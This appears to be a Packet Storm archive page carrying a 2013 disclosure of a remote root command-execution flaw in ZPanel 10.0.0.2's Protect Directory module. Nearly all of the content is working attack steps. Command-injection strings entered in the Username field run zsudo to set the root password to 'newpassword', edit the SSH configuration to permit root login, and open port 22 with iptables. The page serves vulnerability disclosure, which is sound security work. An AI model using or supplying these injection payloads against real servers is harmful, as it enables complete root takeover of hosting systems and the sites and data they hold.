what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ZPanel 10.0.0.2 Remote Command Execution

ZPanel 10.0.0.2 Remote Command Execution
Posted Jun 7, 2013
Authored by shachibista

ZPanel version 10.0.0.2 suffers from a remote root command execution vulnerability.

tags | exploit, remote, root
SHA-256 | a30a5948320c316bd884408d4f9e6e18b520ce906e9bb8f59bc103d82a9b44d4

ZPanel 10.0.0.2 Remote Command Execution

Change Mirror Download
One of our expert team members (shachibista@gmail.com) who is assigned
to do the security audit of ZPanel code has found the follwoing
security vulnerability with ZPanel 10.0.0.2 which will allow anyone to
escalate the root accress and access the server by anyone. The
security audit states the following:

<QUOTE>
I have been reviewing ZPanel code and there is a serious remote
execution vulnerability in the "Protect Directory" module that allows
anyone with access to the page (Administrators, Resellers and Clients
by default) to execute arbitrary commands on the shell due to improper
(non-existent) escaping of user input. The following steps can be
taken to reproduce the exploit:

1. Login as any user and visit
http://<server_address>/?module=htpasswd&selected=Selected&path=/

1a. In the "Username" field input (including the initial semicolon and
the final hash):

;/etc/zpanel/panel/bin/zsudo "echo 'newpassword'" "| passwd --stdin root" #

2. Type any password

3. Root password will be set to "newpassword"

4. Visit http://<server_address>/?module=htpasswd&selected=Selected&path=/

5. In the "Username" field (including initial semicolon and final hash):

;/etc/zpanel/panel/bin/zsudo sed '-i "s/#*\(PermitRootLogin\)/\1 yes
\#/" /etc/ssh/*hd*g' #

6. This will enable root login,

7. One can repeat the same process to open port 22 through iptables
(iptables -A INPUT -p tcp --dport 22 -j ACCEPT) and restart the ssh
server (this will require the process twice as the internal buffer
size of zsudo command is 100 characters)
<UNQUOTE>


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close